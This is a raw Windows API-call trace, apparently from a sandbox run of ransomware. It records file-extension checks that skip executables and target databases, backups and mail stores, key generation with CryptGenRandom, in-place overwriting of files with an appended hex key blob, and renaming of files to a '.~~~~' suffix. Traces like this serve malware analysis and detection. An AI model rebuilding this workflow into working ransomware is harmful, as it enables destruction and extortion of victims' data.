	[0140.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d2d0 | out: hHeap=0x300000) returned 1
	[0140.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4e38
	[0140.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0140.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4e38 | out: hHeap=0x300000) returned 1
	[0140.558] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0140.558] GetLastError () returned 0x0
	[0140.559] GetLastError () returned 0x0
	[0140.559] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0140.559] GetLastError () returned 0x0
	[0140.559] GetLastError () returned 0x0
	[0140.559] ReadFile (in: hFile=0xc4, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x3187, lpOverlapped=0x0) returned 1
	[0140.562] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffce79, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.562] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x3187, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x3187, lpOverlapped=0x0) returned 1
	[0140.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0140.562] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.562] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.562] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.562] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.562] CloseHandle (hObject=0xc4) returned 1
	[0140.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b09d0
	[0140.564] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir25f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir25f.gif.~~~~")) returned 1
	[0140.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b09d0 | out: hHeap=0x300000) returned 1
	[0140.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0140.607] GetLastError () returned 0x0
	[0140.607] RtlWakeConditionVariable () returned 0x365f70
	[0140.607] GetCurrentThreadId () returned 0x9f4
	[0140.607] GetCurrentThreadId () returned 0x9f4
	[0140.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ceab8
	[0140.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f48f8 | out: hHeap=0x300000) returned 1
	[0140.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d228 | out: hHeap=0x300000) returned 1
	[0140.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f48f8
	[0140.608] lstrlenW (lpString=".scr") returned 4
	[0140.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".scr") returned 0x0
	[0140.608] lstrlenW (lpString=".cmd") returned 4
	[0140.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".cmd") returned 0x0
	[0140.608] lstrlenW (lpString=".dll") returned 4
	[0140.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".dll") returned 0x0
	[0140.608] lstrlenW (lpString=".bat") returned 4
	[0140.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".bat") returned 0x0
	[0140.608] lstrlenW (lpString=".cpl") returned 4
	[0140.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".cpl") returned 0x0
	[0140.608] lstrlenW (lpString=".sys") returned 4
	[0140.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".sys") returned 0x0
	[0140.608] lstrlenW (lpString=".msc") returned 4
	[0140.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".msc") returned 0x0
	[0140.608] lstrlenW (lpString=".com") returned 4
	[0140.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".com") returned 0x0
	[0140.608] lstrlenW (lpString=".lnk") returned 4
	[0140.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".lnk") returned 0x0
	[0140.608] lstrlenW (lpString=".msp") returned 4
	[0140.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".msp") returned 0x0
	[0140.609] lstrlenW (lpString=".pif") returned 4
	[0140.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".pif") returned 0x0
	[0140.609] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir28f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0140.611] lstrlenW (lpString=".sqb") returned 4
	[0140.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".sqb") returned 0x0
	[0140.611] lstrlenW (lpString=".ost") returned 4
	[0140.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".ost") returned 0x0
	[0140.611] lstrlenW (lpString=".txt") returned 4
	[0140.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".txt") returned 0x0
	[0140.611] lstrlenW (lpString=".mdt") returned 4
	[0140.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".mdt") returned 0x0
	[0140.611] lstrlenW (lpString=".BDB") returned 4
	[0140.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".BDB") returned 0x0
	[0140.612] lstrlenW (lpString=".eql") returned 4
	[0140.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".eql") returned 0x0
	[0140.612] lstrlenW (lpString=".DBF") returned 4
	[0140.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".DBF") returned 0x0
	[0140.612] lstrlenW (lpString=".EQL") returned 4
	[0140.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".EQL") returned 0x0
	[0140.612] lstrlenW (lpString=".FDB") returned 4
	[0140.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".FDB") returned 0x0
	[0140.612] lstrlenW (lpString=".EDB") returned 4
	[0140.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".EDB") returned 0x0
	[0140.612] lstrlenW (lpString=".DACPAC") returned 7
	[0140.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.612] lstrlenW (lpString=".VHD") returned 4
	[0140.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".VHD") returned 0x0
	[0140.612] lstrlenW (lpString=".DBV") returned 4
	[0140.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".DBV") returned 0x0
	[0140.612] lstrlenW (lpString=".dacpac") returned 7
	[0140.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".dacpac") returned 0x0
	[0140.612] lstrlenW (lpString=".sdf") returned 4
	[0140.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".sdf") returned 0x0
	[0140.612] lstrlenW (lpString=".accdb") returned 6
	[0140.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".accdb") returned 0x0
	[0140.613] lstrlenW (lpString=".DBX") returned 4
	[0140.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".DBX") returned 0x0
	[0140.613] lstrlenW (lpString=".MDT") returned 4
	[0140.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".MDT") returned 0x0
	[0140.613] lstrlenW (lpString=".SQB") returned 4
	[0140.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".SQB") returned 0x0
	[0140.613] lstrlenW (lpString=".vhd") returned 4
	[0140.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".vhd") returned 0x0
	[0140.613] lstrlenW (lpString=".bac") returned 4
	[0140.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".bac") returned 0x0
	[0140.613] lstrlenW (lpString=".mdf") returned 4
	[0140.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".mdf") returned 0x0
	[0140.613] lstrlenW (lpString=".BAK") returned 4
	[0140.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".BAK") returned 0x0
	[0140.613] lstrlenW (lpString=".BAC") returned 4
	[0140.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".BAC") returned 0x0
	[0140.613] lstrlenW (lpString=".dbs") returned 4
	[0140.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".dbs") returned 0x0
	[0140.613] lstrlenW (lpString=".vhdx") returned 5
	[0140.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".vhdx") returned 0x0
	[0140.613] lstrlenW (lpString=".NDF") returned 4
	[0140.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".NDF") returned 0x0
	[0140.613] lstrlenW (lpString=".dat") returned 4
	[0140.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".dat") returned 0x0
	[0140.614] lstrlenW (lpString=".DBS") returned 4
	[0140.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".DBS") returned 0x0
	[0140.614] lstrlenW (lpString=".CKP") returned 4
	[0140.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".CKP") returned 0x0
	[0140.614] lstrlenW (lpString=".edb") returned 4
	[0140.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".edb") returned 0x0
	[0140.614] lstrlenW (lpString=".PST") returned 4
	[0140.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".PST") returned 0x0
	[0140.614] lstrlenW (lpString=".dbf") returned 4
	[0140.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".dbf") returned 0x0
	[0140.614] lstrlenW (lpString=".SQL") returned 4
	[0140.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".SQL") returned 0x0
	[0140.614] lstrlenW (lpString=".pst") returned 4
	[0140.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".pst") returned 0x0
	[0140.614] lstrlenW (lpString=".dbv") returned 4
	[0140.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".dbv") returned 0x0
	[0140.614] lstrlenW (lpString=".SDF") returned 4
	[0140.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".SDF") returned 0x0
	[0140.614] lstrlenW (lpString=".dtxs") returned 5
	[0140.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".dtxs") returned 0x0
	[0140.614] lstrlenW (lpString=".db3") returned 4
	[0140.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".db3") returned 0x0
	[0140.614] lstrlenW (lpString=".OST") returned 4
	[0140.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".OST") returned 0x0
	[0140.615] lstrlenW (lpString=".dbx") returned 4
	[0140.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".dbx") returned 0x0
	[0140.615] lstrlenW (lpString=".DB3") returned 4
	[0140.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".DB3") returned 0x0
	[0140.615] lstrlenW (lpString=".DAT") returned 4
	[0140.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".DAT") returned 0x0
	[0140.615] lstrlenW (lpString=".VHDX") returned 5
	[0140.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".VHDX") returned 0x0
	[0140.615] lstrlenW (lpString=".ndf") returned 4
	[0140.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".ndf") returned 0x0
	[0140.615] lstrlenW (lpString=".DB") returned 3
	[0140.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".DB") returned 0x0
	[0140.615] lstrlenW (lpString=".sql") returned 4
	[0140.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".sql") returned 0x0
	[0140.615] lstrlenW (lpString=".MYD") returned 4
	[0140.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".MYD") returned 0x0
	[0140.615] lstrlenW (lpString=".DBT") returned 4
	[0140.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".DBT") returned 0x0
	[0140.615] lstrlenW (lpString=".ACCDB") returned 6
	[0140.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.615] lstrlenW (lpString=".fdb") returned 4
	[0140.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".fdb") returned 0x0
	[0140.615] lstrlenW (lpString=".bak") returned 4
	[0140.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".bak") returned 0x0
	[0140.615] lstrlenW (lpString=".myd") returned 4
	[0140.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".myd") returned 0x0
	[0140.616] lstrlenW (lpString=".DTXS") returned 5
	[0140.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".DTXS") returned 0x0
	[0140.616] lstrlenW (lpString=".ckp") returned 4
	[0140.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".ckp") returned 0x0
	[0140.616] lstrlenW (lpString=".dbt") returned 4
	[0140.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".dbt") returned 0x0
	[0140.616] lstrlenW (lpString=".db") returned 3
	[0140.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".db") returned 0x0
	[0140.616] lstrlenW (lpString=".TXT") returned 4
	[0140.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".TXT") returned 0x0
	[0140.616] lstrlenW (lpString=".MDF") returned 4
	[0140.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".MDF") returned 0x0
	[0140.616] lstrlenW (lpString=".bdb") returned 4
	[0140.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".bdb") returned 0x0
	[0140.616] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0140.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.616] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0140.617] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.618] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0140.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0140.618] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26060797673) returned 1
	[0140.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbd388530, dwHighDateTime=0x1d60e1e)) 
	[0140.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0140.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0140.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0140.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d228
	[0140.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d228 | out: hHeap=0x300000) returned 1
	[0140.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f5030
	[0140.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0140.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5030 | out: hHeap=0x300000) returned 1
	[0140.619] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0140.619] GetLastError () returned 0x0
	[0140.619] GetLastError () returned 0x0
	[0140.619] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0140.619] GetLastError () returned 0x0
	[0140.620] GetLastError () returned 0x0
	[0140.620] ReadFile (in: hFile=0x138, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x1786, lpOverlapped=0x0) returned 1
	[0140.622] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffe87a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.622] WriteFile (in: hFile=0x138, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x1786, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x1786, lpOverlapped=0x0) returned 1
	[0140.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0140.623] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.623] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.623] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.623] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.623] CloseHandle (hObject=0x138) returned 1
	[0140.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f5030
